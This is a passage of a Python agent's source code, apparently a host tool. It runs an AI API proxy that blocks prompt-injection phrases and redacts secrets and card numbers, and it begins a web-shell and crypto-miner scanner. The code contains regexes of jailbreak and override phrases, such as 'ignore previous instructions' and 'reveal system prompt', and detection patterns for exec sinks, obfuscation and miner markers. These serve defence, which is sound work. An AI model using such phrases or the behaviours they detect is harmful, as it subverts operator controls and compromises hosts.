        url,
        data=payload,
        headers={
            "Content-Type": "application/json",
            "Authorization": f"Bearer {api_token}",
            "User-Agent": "portgate-agent",
        },
        method="POST",
    )
    opener = urllib.request.build_opener(_RejectRedirect)
    try:
        with opener.open(request, timeout=30) as response:
            response.read()
            print(f"heartbeat posted {response.status} {url}")
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", "replace")[:500]
        raise SystemExit(f"heartbeat failed: HTTP {exc.code} {body}") from None
    except urllib.error.URLError as exc:
        raise SystemExit(f"heartbeat failed: {exc.reason} for {url}") from None


# --- ai proxy ---------------------------------------------------------------

GUARDED_PATHS = {"/v1/chat/completions", "/v1/messages", "/v1/responses", "/v1/completions"}
TEXT_KEYS = {"content", "text", "system", "prompt", "input"}
INJECTION_PATTERNS = (
    re.compile(
        r"ignore\s+(?:all\s+|any\s+)?(?:previous|prior|above|earlier)\s+"
        r"(?:instructions|prompts|rules|directives)",
        re.IGNORECASE,
    ),
    re.compile(
        r"disregard\s+(?:your\s+|the\s+|all\s+)?(?:system\s+|previous\s+|prior\s+)?"
        r"(?:prompt|instructions|rules)",
        re.IGNORECASE,
    ),
    re.compile(
        r"forget\s+(?:all\s+)?(?:your\s+)?(?:previous|prior)\s+"
        r"(?:instructions|rules|prompts)",
        re.IGNORECASE,
    ),
    re.compile(r"you\s+are\s+now\s+(?:in\s+)?(?:developer|dan|jailbreak)\s+mode", re.IGNORECASE),
    re.compile(
        r"(?:enable|enter|activate|switch\s+to)\s+(?:the\s+)?(?:developer|dan|jailbreak|god)\s+mode",
        re.IGNORECASE,
    ),
    re.compile(r"\bdo\s+anything\s+now\b", re.IGNORECASE),
    re.compile(
        r"bypass\s+(?:your\s+|the\s+)?(?:safety|guardrails?|filters?|restrictions|content\s+policy)",
        re.IGNORECASE,
    ),
    re.compile(
        r"(?:reveal|print|show|dump)\s+(?:me\s+)?(?:your\s+)?"
        r"(?:hidden\s+|initial\s+|original\s+)?system\s+prompt",
        re.IGNORECASE,
    ),
    re.compile(
        r"pretend\s+(?:that\s+)?you\s+(?:have\s+no|are\s+not\s+bound\s+by)\s+"
        r"(?:rules|restrictions|limitations)",
        re.IGNORECASE,
    ),
)
SECRET_RE = re.compile(
    r"\bsk-[A-Za-z0-9_\-]{20,}"  # OpenAI, Anthropic (sk-ant-...), DeepSeek
    r"|\b[rs]k_(?:live|test)_[A-Za-z0-9]{16,}"  # Stripe secret and restricted keys
    r"|\bgh[pousr]_[A-Za-z0-9]{36,}|\bgithub_pat_[A-Za-z0-9_]{40,}"  # GitHub tokens
    r"|\bxox[abposr]-[A-Za-z0-9-]{10,}"  # Slack tokens
    r"|\bAIza[0-9A-Za-z_\-]{35}"  # Google API keys
    r"|\bglpat-[A-Za-z0-9_\-]{20,}"  # GitLab tokens
    r"|-----BEGIN (?:[A-Z]+ )?PRIVATE KEY-----[\s\S]*?-----END (?:[A-Z]+ )?PRIVATE KEY-----"
)
AWS_KEY_RE = re.compile(r"\bAKIA[0-9A-Z]{16}\b")
SSN_RE = re.compile(r"(?<!\d)\d{3}-\d{2}-\d{4}(?!\d)")
CARD_RE = re.compile(r"(?<!\d)(?:\d[ -]?){12,18}\d(?!\d)")
SKIP_HEADERS = HOP_HEADERS | {"accept-encoding", "content-encoding"}


def join_upstream(upstream, request_path):
    scheme, rest = upstream.split("://", 1)
    host, _separator, prefix = rest.partition("/")
    prefix = "/" + prefix.strip("/") if prefix else ""
    if not request_path.startswith("/"):
        request_path = "/" + request_path
    return f"{scheme}://{host}{prefix}{request_path}"


def upstream_host(upstream):
    rest = upstream.split("://", 1)[1]
    return rest.split("/", 1)[0]


def request_route(raw_path):
    path = raw_path.split("?", 1)[0]
    if len(path) > 1:
        path = path.rstrip("/")
    return path


def estimate_tokens(text):
    if not text:
        return 0
    return max(1, (len(text) + 3) // 4)


def luhn_ok(number):
    if not 13 <= len(number) <= 19 or not number.isdigit():
        return False
    checksum = 0
    double = False
    for char in reversed(number):
        digit = ord(char) - 48
        if double:
            digit *= 2
            if digit > 9:
                digit -= 9
        checksum += digit
        double = not double
    return checksum % 10 == 0


def redact_text(text):
    count = 0

    def swap(pattern, label, source):
        nonlocal count

        def replacer(match):
            nonlocal count
            count += 1
            return label

        return pattern.sub(replacer, source)

    text = swap(SECRET_RE, "[REDACTED_SECRET]", text)
    text = swap(AWS_KEY_RE, "[REDACTED_AWS_KEY]", text)
    text = swap(SSN_RE, "[REDACTED_SSN]", text)

    def replace_card(match):
        nonlocal count
        digits = re.sub(r"\D", "", match.group(0))
        if not luhn_ok(digits):
            return match.group(0)
        count += 1
        return "[REDACTED_CARD]"

    text = CARD_RE.sub(replace_card, text)
    return text, count


def walk_text_fields(value, key=None):
    if isinstance(value, dict):
        for child_key, child in value.items():
            yield from walk_text_fields(child, child_key)
    elif isinstance(value, list):
        for item in value:
            yield from walk_text_fields(item, key)
    elif isinstance(value, str) and key in TEXT_KEYS:
        yield value


def redact_payload(value, key=None):
    if isinstance(value, dict):
        rewritten = {}
        count = 0
        for child_key, child in value.items():
            new_child, found = redact_payload(child, child_key)
            rewritten[child_key] = new_child
            count += found
        return rewritten, count
    if isinstance(value, list):
        rewritten = []
        count = 0
        for item in value:
            new_item, found = redact_payload(item, key)
            rewritten.append(new_item)
            count += found
        return rewritten, count
    if isinstance(value, str) and key in TEXT_KEYS:
        return redact_text(value)
    return value, 0


def prompt_fingerprint(texts):
    canonical = "\n".join(part.strip() for part in texts)
    return hashlib.sha256(canonical.encode("utf-8")).hexdigest()


UNTRUSTED_ROLES = {"user", "tool", "function"}


def untrusted_texts(payload):
    """Text a user or tool supplied. The operator's system prompt and earlier assistant
    turns are trusted: a system prompt that says "refuse jailbreaks" must not block traffic."""
    texts = []
    for message in payload.get("messages") or []:
        if not isinstance(message, dict):
            continue
        role = str(message.get("role") or "user").lower()
        if role in UNTRUSTED_ROLES:
            texts.extend(walk_text_fields(message.get("content"), "content"))
    # OpenAI Responses and legacy completions put user text in input / prompt.
    for key in ("input", "prompt"):
        value = payload.get(key)
        if isinstance(value, str):
            texts.append(value)
        elif isinstance(value, list):
            for item in value:
                if isinstance(item, dict) and str(item.get("role") or "user").lower() not in UNTRUSTED_ROLES:
                    continue
                texts.extend(walk_text_fields(item, key))
    return texts


def injection_match(texts):
    haystack = "\n".join(texts)
    return any(pattern.search(haystack) for pattern in INJECTION_PATTERNS)


def usage_tokens(payload, prompt_text, completion_text):
    usage = payload.get("usage") if isinstance(payload, dict) else None
    if isinstance(usage, dict):
        if "total_tokens" in usage:
            try:
                return max(0, int(usage["total_tokens"]))
            except (TypeError, ValueError):
                pass
        try:
            prompt_tokens = int(usage.get("input_tokens") or usage.get("prompt_tokens") or 0)
            completion_tokens = int(usage.get("output_tokens") or usage.get("completion_tokens") or 0)
        except (TypeError, ValueError):
            prompt_tokens = 0
            completion_tokens = 0
        if prompt_tokens or completion_tokens:
            return max(0, prompt_tokens + completion_tokens)
    return estimate_tokens(prompt_text) + estimate_tokens(completion_text)


class StreamUsage:
    """Reads token usage out of OpenAI and Anthropic server-sent events."""

    def __init__(self):
        self.buffer = b""
        self.total = None
        self.input = 0
        self.output = 0
        self.completion_chars = 0

    def feed(self, chunk):
        self.buffer += chunk
        while b"\n" in self.buffer:
            line, self.buffer = self.buffer.split(b"\n", 1)
            self._line(line.strip())
        if len(self.buffer) > 1024 * 1024:
            self.buffer = b""

    def _line(self, line):
        if not line.startswith(b"data:"):
            return
        data = line[5:].strip()
        if not data or data == b"[DONE]":
            return
        try:
            event = json.loads(data.decode("utf-8"))
        except (UnicodeDecodeError, json.JSONDecodeError):
            return
        if not isinstance(event, dict):
            return
        usage = event.get("usage")
        for wrapper in ("message", "response"):  # Anthropic message_start, OpenAI response.completed
            inner = event.get(wrapper)
            if isinstance(inner, dict) and isinstance(inner.get("usage"), dict):
                usage = inner["usage"]
        if isinstance(usage, dict):
            try:
                if "total_tokens" in usage:
                    self.total = int(usage["total_tokens"])
                self.input = max(self.input, int(usage.get("input_tokens") or usage.get("prompt_tokens") or 0))
                self.output = max(self.output, int(usage.get("output_tokens") or usage.get("completion_tokens") or 0))
            except (TypeError, ValueError):
                pass
        for choice in event.get("choices") or []:
            delta = choice.get("delta") if isinstance(choice, dict) else None
            if isinstance(delta, dict) and isinstance(delta.get("content"), str):
                self.completion_chars += len(delta["content"])
        delta = event.get("delta")
        if isinstance(delta, dict) and isinstance(delta.get("text"), str):
            self.completion_chars += len(delta["text"])
        elif isinstance(delta, str):  # OpenAI Responses response.output_text.delta
            self.completion_chars += len(delta)

    def tokens(self, prompt_text):
        if self.total is not None:
            return max(0, self.total)
        if self.input or self.output:
            return self.input + self.output
        return estimate_tokens(prompt_text) + (self.completion_chars + 3) // 4


class ProxyState:
    """Daily quotas, prompt-loop windows, and telemetry counters."""

    def __init__(self, path):
        self.path = path
        self.lock = threading.Lock()
        directory = os.path.dirname(path)
        if directory:
            os.makedirs(directory, exist_ok=True)
        self._run(self._create_schema)

    def _connect(self):
        connection = sqlite3.connect(self.path, timeout=5)
        connection.execute("PRAGMA busy_timeout = 5000")
        return connection

    def _run(self, callback):
        connection = self._connect()
        try:
            result = callback(connection)
            connection.commit()
            return result
        except Exception:
            connection.rollback()
            raise
        finally:
            connection.close()

    def _create_schema(self, connection):
        connection.executescript(
            """
            CREATE TABLE IF NOT EXISTS daily_usage (
                day TEXT PRIMARY KEY,
                requests INTEGER NOT NULL DEFAULT 0,
                tokens INTEGER NOT NULL DEFAULT 0
            );
            CREATE TABLE IF NOT EXISTS prompt_hits (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                prompt_hash TEXT NOT NULL,
                seen_at INTEGER NOT NULL
            );
            CREATE INDEX IF NOT EXISTS idx_prompt_hits_hash_time
                ON prompt_hits (prompt_hash, seen_at);
            CREATE TABLE IF NOT EXISTS telemetry (
                id INTEGER PRIMARY KEY CHECK (id = 1),
                total_requests INTEGER NOT NULL DEFAULT 0,
                blocked_injections INTEGER NOT NULL DEFAULT 0,
                redacted_secrets INTEGER NOT NULL DEFAULT 0,
                estimated_tokens INTEGER NOT NULL DEFAULT 0
            );
            """
        )
        connection.execute("INSERT OR IGNORE INTO telemetry (id) VALUES (1)")

    def _utc_day(self):
        stamp = time.gmtime()
        return f"{stamp.tm_year:04d}-{stamp.tm_mon:02d}-{stamp.tm_mday:02d}"

    def allow_prompt(self, prompt_hash, limit=PROMPT_LOOP_LIMIT):
        if limit <= 0:
            return True
        now = int(time.time())

        def op(connection):
            connection.execute(
                "DELETE FROM prompt_hits WHERE seen_at < ?",
                (now - (PROMPT_LOOP_WINDOW * 2),),
            )
            row = connection.execute(
                """
                SELECT COUNT(*) FROM prompt_hits
                WHERE prompt_hash = ? AND seen_at >= ?
                """,
                (prompt_hash, now - PROMPT_LOOP_WINDOW),
            ).fetchone()
            if row[0] >= limit:
                return False
            connection.execute(
                "INSERT INTO prompt_hits (prompt_hash, seen_at) VALUES (?, ?)",
                (prompt_hash, now),
            )
            return True

        with self.lock:
            return self._run(op)

    def reserve(self, request_cap, token_cap, token_estimate):
        day = self._utc_day()

        def op(connection):
            row = connection.execute(
                "SELECT requests, tokens FROM daily_usage WHERE day = ?",
                (day,),
            ).fetchone()
            requests = row[0] if row else 0
            tokens = row[1] if row else 0
            if request_cap and requests + 1 > request_cap:
                return "daily_request_cap"
            if token_cap and tokens + token_estimate > token_cap:
                return "daily_token_cap"
            self._add_daily(connection, day, 1, token_estimate)
            return None

        with self.lock:
            return self._run(op)

    def rollback(self, token_estimate):
        with self.lock:
            self._run(
                lambda connection: self._add_daily(
                    connection,
                    self._utc_day(),
                    -1,
                    -token_estimate,
                )
            )

    def adjust_tokens(self, delta):
        if not delta:
            return
        with self.lock:
            self._run(
                lambda connection: self._add_daily(connection, self._utc_day(), 0, delta)
            )

    def add_telemetry(self, requests=0, blocked=0, redacted=0, tokens=0):
        def op(connection):
            connection.execute(
                """
                UPDATE telemetry SET
                    total_requests = total_requests + ?,
                    blocked_injections = blocked_injections + ?,
                    redacted_secrets = redacted_secrets + ?,
                    estimated_tokens = estimated_tokens + ?
                WHERE id = 1
                """,
                (requests, blocked, redacted, tokens),
            )

        with self.lock:
            self._run(op)

    def pop_telemetry(self):
        def op(connection):
            row = connection.execute(
                """
                SELECT total_requests, blocked_injections,
                       redacted_secrets, estimated_tokens
                FROM telemetry WHERE id = 1
                """
            ).fetchone()
            connection.execute(
                """
                UPDATE telemetry SET
                    total_requests = 0,
                    blocked_injections = 0,
                    redacted_secrets = 0,
                    estimated_tokens = 0
                WHERE id = 1
                """
            )
            return row

        with self.lock:
            row = self._run(op)
        if row is None:
            return {
                "total_requests": 0,
                "blocked_injections": 0,
                "redacted_secrets": 0,
                "estimated_tokens": 0,
            }
        return {
            "total_requests": row[0],
            "blocked_injections": row[1],
            "redacted_secrets": row[2],
            "estimated_tokens": row[3],
        }

    def restore_telemetry(self, snapshot):
        self.add_telemetry(
            snapshot.get("total_requests", 0),
            snapshot.get("blocked_injections", 0),
            snapshot.get("redacted_secrets", 0),
            snapshot.get("estimated_tokens", 0),
        )

    def _add_daily(self, connection, day, requests, tokens):
        connection.execute(
            """
            INSERT INTO daily_usage (day, requests, tokens) VALUES (?, ?, ?)
            ON CONFLICT(day) DO UPDATE SET
                requests = MAX(0, requests + ?),
                tokens = MAX(0, tokens + ?)
            """,
            (day, max(requests, 0), max(tokens, 0), requests, tokens),
        )


def _ssl_context(settings, upstream):
    if not upstream.startswith("https://"):
        return None
    context = ssl.create_default_context()
    if settings["insecure_upstream"]:
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
    return context


def _is_timeout(exc):
    if isinstance(exc, TimeoutError):
        return True
    reason = getattr(exc, "reason", None)
    if isinstance(reason, TimeoutError):
        return True
    return "timed out" in str(reason or exc).lower()


def open_upstream(settings, upstream, method, path, body, headers):
    target = join_upstream(upstream, path)
    forwarded = {
        key: value
        for key, value in headers.items()
        if key.lower() not in SKIP_HEADERS
    }
    forwarded["Host"] = upstream_host(upstream)
    forwarded["Content-Type"] = "application/json"
    if body is not None:
        forwarded["Content-Length"] = str(len(body))
    request = urllib.request.Request(
        target,
        data=body,
        headers=forwarded,
        method=method,
    )
    try:
        response = urllib.request.urlopen(
            request,
            timeout=settings["timeout_seconds"],
            context=_ssl_context(settings, upstream),
        )
        return response.status, response.headers, response
    except urllib.error.HTTPError as exc:
        return exc.code, exc.headers, exc
    except urllib.error.URLError:
        raise


def json_error(status, code, message):
    return status, {
        "error": {
            "message": message,
            "type": "invalid_request_error",
            "code": code,
        }
    }


def with_model(payload, model):
    if not model:
        return payload
    cloned = json.loads(json.dumps(payload))
    if isinstance(cloned, dict):
        cloned["model"] = model
    return cloned


def make_proxy_handler(settings, state):
    class ProxyHandler(BaseHTTPRequestHandler):
        protocol_version = "HTTP/1.1"

        def do_GET(self):
            self._dispatch()

        do_POST = do_PUT = do_DELETE = do_PATCH = do_HEAD = do_OPTIONS = do_GET

        def log_message(self, fmt, *args):
            os.write(2, (f"ai-proxy {self.address_string()} {fmt % args}\n").encode())

        def _dispatch(self):
            if not self.path.startswith("/"):
                self._send_json(*json_error(400, "bad_request", "Absolute URLs are not accepted."))
                return
            route = request_route(self.path)
            if self.command == "POST" and route in GUARDED_PATHS:
                self._guarded(route)
                return
            self._pass_through()

        def _read_body(self):
            try:
                length = int(self.headers.get("Content-Length") or "0")
            except ValueError:
                return None
            if length < 0 or length > MAX_PROXY_BODY:
                return None
            if length == 0:
                return b""
            return self.rfile.read(length)

        def _guarded(self, route):
            raw = self._read_body()
            if raw is None:
                self._send_json(*json_error(400, "invalid_body", "Request body is missing or too large."))
                return
            try:
                payload = json.loads(raw.decode("utf-8"))
            except (UnicodeDecodeError, json.JSONDecodeError):
                state.add_telemetry(requests=1)
                self._send_json(*json_error(400, "invalid_json", "Request body must be JSON."))
                return
            if not isinstance(payload, dict):
                state.add_telemetry(requests=1)
                self._send_json(*json_error(400, "invalid_json", "Request body must be a JSON object."))
                return

            texts = list(walk_text_fields(payload))
            state.add_telemetry(requests=1)
            if injection_match(untrusted_texts(payload)):
                state.add_telemetry(blocked=1)
                self._send_json(
                    *json_error(
                        400,
                        "prompt_injection",
                        "Request blocked because it matched a prompt-injection pattern.",
                    )
                )
                return

            redacted, redacted_count = redact_payload(payload)
            if not state.allow_prompt(prompt_fingerprint(texts), settings["max_identical_prompts_per_min"]):
                self._send_json(
                    *json_error(
                        429,
                        "prompt_loop",
                        "Identical prompt rate limit exceeded.",
                    )
                )
                return

            prompt_text = "\n".join(texts)
            estimate = estimate_tokens(prompt_text) or 1
            quota = state.reserve(
                settings["daily_request_cap"],
                settings["daily_token_cap"],
                estimate,
            )
            if quota == "daily_request_cap":
                self._send_json(*json_error(429, quota, "Daily request cap exceeded."))
                return
            if quota == "daily_token_cap":
                self._send_json(*json_error(429, quota, "Daily token cap exceeded."))
                return

            if payload.get("stream") is True:
                self._guarded_stream(redacted, redacted_count, prompt_text, estimate)
                return

            try:
                result = self._forward(redacted)
            except Exception:
                state.rollback(estimate)
                self._send_json(*json_error(502, "upstream_error", "Upstream request failed."))
                return

            if not result.get("ok"):
                state.rollback(estimate)
                self._send_json(*json_error(502, "upstream_unavailable", "Upstream is unavailable."))
                return

            status = result["status"]
            body = result["body"]
            if status >= 400:
                state.add_telemetry(redacted=redacted_count, tokens=estimate)
                self._send_upstream(status, result["headers"], body)
                return

            try:
                parsed = json.loads(body.decode("utf-8"))
            except (UnicodeDecodeError, json.JSONDecodeError):
                parsed = {}
            actual = usage_tokens(parsed, prompt_text, body.decode("utf-8", "replace"))
            state.adjust_tokens(actual - estimate)
            state.add_telemetry(redacted=redacted_count, tokens=actual)
            self._send_upstream(status, result["headers"], body)

        def _forward(self, payload):
            primary = self._attempt(settings["upstream"], "", payload)
            if primary.get("ok") and not primary.get("fallback"):
                return primary
            if settings["fallback_upstream"] and primary.get("fallback"):
                return self._attempt(
                    settings["fallback_upstream"],
                    settings["fallback_model"],
                    payload,
                )
            return primary

        def _attempt(self, upstream, model, payload):
            body = json.dumps(with_model(payload, model)).encode("utf-8")
            try:
                status, headers, stream = open_upstream(
                    settings,
                    upstream,
                    self.command,
                    self.path,
                    body,
                    self.headers,
                )
            except (urllib.error.URLError, TimeoutError) as exc:
                os.write(2, f"ai-proxy upstream error: {getattr(exc, 'reason', exc)}\n".encode())
                return {"ok": False, "fallback": _is_timeout(exc)}
            try:
                data = stream.read()
            finally:
                stream.close()
            return {
                "ok": True,
                "status": status,
                "headers": headers,
                "body": data,
                "fallback": status in (429, 503),
            }

        def _open_attempt(self, upstream, model, payload):
            body = json.dumps(with_model(payload, model)).encode("utf-8")
            try:
                status, headers, stream = open_upstream(
                    settings,
                    upstream,
                    self.command,
                    self.path,
                    body,
                    self.headers,
                )
            except (urllib.error.URLError, TimeoutError) as exc:
                os.write(2, f"ai-proxy upstream error: {getattr(exc, 'reason', exc)}\n".encode())
                return {"ok": False, "fallback": _is_timeout(exc)}
            return {
                "ok": True,
                "status": status,
                "headers": headers,
                "stream": stream,
                "fallback": status in (429, 503),
            }

        def _guarded_stream(self, payload, redacted_count, prompt_text, estimate):
            """Relay server-sent events as they arrive instead of buffering the reply."""
            try:
                result = self._open_attempt(settings["upstream"], "", payload)
                if result.get("fallback") and settings["fallback_upstream"]:
                    if result.get("stream") is not None:
                        result["stream"].close()
                    result = self._open_attempt(
                        settings["fallback_upstream"],
                        settings["fallback_model"],
                        payload,
                    )
            except Exception:
                state.rollback(estimate)
                self._send_json(*json_error(502, "upstream_error", "Upstream request failed."))
                return
            if not result.get("ok") or result.get("stream") is None:
                state.rollback(estimate)
                self._send_json(*json_error(502, "upstream_unavailable", "Upstream is unavailable."))
                return

            status = result["status"]
            headers = result["headers"]
            stream = result["stream"]
            content_type = str(headers.get("Content-Type") or "").lower()
            if status >= 400 or "text/event-stream" not in content_type:
                try:
                    body = stream.read()
                finally:
                    stream.close()
                state.add_telemetry(redacted=redacted_count, tokens=estimate)
                self._send_upstream(status, headers, body)
                return

            self.send_response(status)
            for key, value in headers.items():
                if key.lower() in SKIP_HEADERS or key.lower() in ("content-length", "transfer-encoding"):
                    continue
                self.send_header(key, value)
            self.send_header("Transfer-Encoding", "chunked")
            self.send_header("Cache-Control", "no-cache")
            self.send_header("Connection", "close")
            self.end_headers()

            meter = StreamUsage()
            try:
                while True:
                    chunk = stream.read1(65536) if hasattr(stream, "read1") else stream.readline()
                    if not chunk:
                        break
                    meter.feed(chunk)
                    self.wfile.write(b"%x\r\n%s\r\n" % (len(chunk), chunk))
                    self.wfile.flush()
                self.wfile.write(b"0\r\n\r\n")
                self.wfile.flush()
            except (BrokenPipeError, ConnectionResetError):
                pass
            finally:
                stream.close()
            actual = meter.tokens(prompt_text)
            state.adjust_tokens(actual - estimate)
            state.add_telemetry(redacted=redacted_count, tokens=actual)

        def _pass_through(self):
            body = self._read_body()
            if body is None:
                self._send_json(*json_error(400, "invalid_body", "Request body is missing or too large."))
                return
            try:
                status, headers, stream = open_upstream(
                    settings,
                    settings["upstream"],
                    self.command,
                    self.path,
                    body if body else None,
                    self.headers,
                )
            except (urllib.error.URLError, TimeoutError) as exc:
                os.write(2, f"ai-proxy upstream error: {getattr(exc, 'reason', exc)}\n".encode())
                self._send_json(*json_error(502, "upstream_unavailable", "Upstream is unavailable."))
                return
            if stream is None:
                self._send_json(*json_error(status, "upstream_status", "Upstream returned an error."))
                return
            try:
                payload = stream.read()
            finally:
                stream.close()
            self._send_upstream(status, headers, payload)

        def _send_json(self, status, payload):
            body = json.dumps(payload).encode("utf-8")
            self.send_response(status)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(body)))
            self.send_header("Connection", "close")
            self.end_headers()
            if self.command != "HEAD":
                self.wfile.write(body)

        def _send_upstream(self, status, headers, payload):
            self.send_response(status)
            for key, value in headers.items():
                if key.lower() in SKIP_HEADERS:
                    continue
                self.send_header(key, value)
            self.send_header("Content-Length", str(len(payload)))
            self.send_header("Connection", "close")
            self.end_headers()
            if self.command != "HEAD":
                self.wfile.write(payload)

    return ProxyHandler


class ThreadedProxy(ThreadingHTTPServer):
    allow_reuse_address = True
    daemon_threads = True


# Caps set on the AI & Edge page override config.json. They arrive in the reply to each
# telemetry report, so a change applies within one report interval.
REMOTE_PROXY_SETTINGS = {
    "daily_request_cap": 100_000_000,
    "daily_token_cap": 100_000_000_000,
    "max_identical_prompts_per_min": 10_000,
}
SETTINGS_SYNC_SECONDS = 300


def apply_remote_settings(settings, remote):
    """Apply caps from the dashboard. Bad or missing values leave the current ones alone."""
    if settings is None or not isinstance(remote, dict):
        return []
    changed = []
    for key, ceiling in REMOTE_PROXY_SETTINGS.items():
        value = remote.get(key)
        if isinstance(value, bool) or not isinstance(value, int) or value < 0 or value > ceiling:
            continue
        if settings.get(key) != value:
            settings[key] = value
            changed.append(key)
    if changed:
        os.write(2, ("ai-proxy settings from dashboard: " + ", ".join(f"{k}={settings[k]}" for k in changed) + "\n").encode())
    return changed


def post_ai_telemetry(config, state, settings=None, force=False):
    snapshot = state.pop_telemetry()
    if not any(snapshot.values()) and not force:
        state.restore_telemetry(snapshot)
        return False
    api_url = str(config.get("api_url") or "").strip().rstrip("/")
    api_token = str(config.get("api_token") or "").strip()
    if not api_url.startswith(("http://", "https://")) or not api_token:
        state.restore_telemetry(snapshot)
        return False
    url = api_url + AI_TELEMETRY_PATH
    payload = json.dumps(
        {
            "total_requests": snapshot["total_requests"],
            "blocked_injections": snapshot["blocked_injections"],
            "redacted_secrets": snapshot["redacted_secrets"],
            "estimated_tokens": snapshot["estimated_tokens"],
        }
    ).encode("utf-8")

    class _RejectTelemetryRedirect(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, req, fp, code, msg, headers, newurl):
            raise urllib.error.URLError(f"telemetry redirect refused: {code}")

    request = urllib.request.Request(
        url,
        data=payload,
        headers={
            "Content-Type": "application/json",
            "Authorization": f"Bearer {api_token}",
            "User-Agent": "portgate-agent",
        },
        method="POST",
    )
    opener = urllib.request.build_opener(_RejectTelemetryRedirect)
    try:
        with opener.open(request, timeout=30) as response:
            body = response.read(65536)
            os.write(2, f"ai-telemetry posted {response.status}\n".encode())
        try:
            reply = json.loads(body.decode("utf-8"))
        except (UnicodeDecodeError, ValueError):
            reply = None
        if isinstance(reply, dict):
            apply_remote_settings(settings, reply.get("proxy_settings"))
        return True
    except (urllib.error.URLError, OSError) as exc:
        state.restore_telemetry(snapshot)
        os.write(2, f"ai-telemetry failed: {exc}\n".encode())
        return False


def _telemetry_loop(config, state, stop, settings=None):
    interval = ai_proxy_settings(config)["telemetry_interval_seconds"]
    if interval == 0:
        return
    last_sync = 0.0
    first = True
    while first or not stop.wait(interval):
        first = False
        try:
            # Report even when idle every few minutes, so dashboard caps reach a quiet host.
            force = time.monotonic() - last_sync >= SETTINGS_SYNC_SECONDS
            if post_ai_telemetry(config, state, settings, force=force):
                last_sync = time.monotonic()
        except Exception as exc:
            os.write(2, f"ai-telemetry failed: {exc}\n".encode())


def start_ai_proxy(config, port=PROXY_PORT):
    settings = ai_proxy_settings(config)
    state = ProxyState(settings["state_db"])
    handler = make_proxy_handler(settings, state)
    try:
        server = ThreadedProxy((PROXY_HOST, port), handler)
    except OSError as exc:
        raise SystemExit(f"ai-proxy could not listen on {PROXY_HOST}:{port}: {exc}") from None
    server.stop = threading.Event()
    server.telemetry = threading.Thread(
        target=_telemetry_loop,
        args=(config, state, server.stop, settings),
        daemon=True,
    )
    server.telemetry.start()
    server.upstream = settings["upstream"]
    return server


def serve_ai_proxy(config):
    server = start_ai_proxy(config)
    print(f"ai-proxy listening on http://{PROXY_HOST}:{PROXY_PORT} -> {server.upstream}")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        raise SystemExit(0) from None
    finally:
        server.stop.set()
        server.server_close()


# --- malware ----------------------------------------------------------------

SKIP_DIRS = {"vendor", "node_modules", ".git", "quarantine", "__pycache__", "bower_components", "site-packages", "dist-packages"}
# /opt mostly holds installed software (SDKs, runtimes, agents). Only server-side web
# script types there; Python, shell and JS files under /opt are not web shells.
OPT_EXTENSIONS = {".php", ".phtml", ".php5", ".pht", ".phar", ".cgi"}
SCRIPT_EXTENSIONS = {".php", ".phtml", ".php5", ".pht", ".phar", ".inc", ".py", ".js", ".mjs", ".cjs", ".pl", ".cgi", ".sh", ".bash"}
ENTROPY_EXTENSIONS = {".php", ".phtml", ".php5", ".pht", ".phar", ".inc", ".py", ".pl", ".cgi", ".sh", ".bash"}
SECRET_NAMES = {".env", "wp-config.php", "id_rsa", "id_ed25519", "authorized_keys"}
KNOWN_DOTS = {".udev", ".initramfs", ".systemd", ".font-unix", ".ICE-unix", ".X11-unix", ".XIM-unix", ".Test-unix", ".updated", ".mdadm"}
ALLOWED_SUID_PREFIXES = ("/usr/bin/", "/bin/", "/usr/sbin/", "/sbin/")
MINER_MARKERS = ("xmrig", "stratum+tcp", "kdevtmpfsi", "kinsing")
MAX_SCAN_BYTES = 256 * 1024
ENTROPY_LIMIT = 5.8
ENTROPY_TOKEN = 200
RISK_THRESHOLD = 70
RISK_EXTENSIONS = {".php", ".phtml", ".php5", ".py", ".sh"}
RISK_LOCATIONS = ("/uploads/", "/storage/app/public/", "/wp-content/uploads/", "/tmp/", "/var/tmp/", "/dev/shm/")
SIGNAL_WEIGHTS = {
    "execution_sink": 45,
    "obfuscation": 35,
    "user_input": 35,
    "high_risk_location": 50,
}
_EXEC_PATTERNS = (
    re.compile(r"\beval\s*\(", re.I),
    re.compile(r"\bassert\s*\(", re.I),
    re.compile(r"\bsystem\s*\(", re.I),
    re.compile(r"\bshell_exec\s*\(", re.I),
    re.compile(r"\bpassthru\s*\(", re.I),
    re.compile(r"\bproc_open\s*\(", re.I),
    re.compile(r"\bpopen\s*\(", re.I),
    re.compile(r"\bcreate_function\s*\(", re.I),
    re.compile("preg_replace\\s*\\(.{0,120}/e['\"]", re.I),
)
_OBFUSCATION_PATTERNS = (
    re.compile(r"\bbase64_decode\s*\(", re.I),
    re.compile(r"\bgzinflate\s*\(", re.I),
    re.compile(r"\bgzuncompress\s*\(", re.I),
    re.compile(r"\bstr_rot13\s*\(", re.I),
    re.compile(r"\brawurldecode\s*\(", re.I),
    re.compile(r"(?:\\x[0-9a-fA-F]{2}){8,}"),
    re.compile(r"(?:\\[0-7]{3}){8,}"),
)
_INPUT_PATTERNS = (
    re.compile(r"\$_POST\b"),
    re.compile(r"\$_GET\b"),
    re.compile(r"\$_REQUEST\b"),
    re.compile(r"\$_COOKIE\b"),
    re.compile(r"\$_FILES\b"),
    re.compile(r"php://input", re.I),
    re.compile(r"\$_SERVER\s*\[.{0,24}HTTP_"),
)


def _extension(path):
    base = os.path.basename(path).lower()
    dot = base.rfind(".")
    return base[dot:] if dot >= 0 else ""


def _snippet(text, start, end):
    if end - start > 48:
        return text[start:start + 24] + "…"
    window = re.sub(r"\s+", " ", text[max(0, start - 24):min(len(text), end + 24)]).strip()
    return window[:160]


def _finding(rule_id, severity, category, path, digest, owner, permissions, snippet, pid=None):
    item = {
        "rule_id": rule_id,
        "severity": severity,
        "category": category,
        "path": path,
        "sha256": digest,
        "owner": owner,
        "permissions": permissions,
        "snippet": snippet[:160],
    }
    if pid is not None:
        item["pid"] = pid
    return item


def _shannon(text):
    if not text:
        return 0.0
    total = len(text)
    counts = {}
    for char in text:
        counts[char] = counts.get(char, 0) + 1
    entropy = 0.0
    for count in counts.values():
        share = count / total
        entropy -= share * math.log2(share)
    return entropy


def _first_match(patterns, text):
    for pattern in patterns:
        match = pattern.search(text)
        if match:
            return match
    return None


def _high_entropy(text):
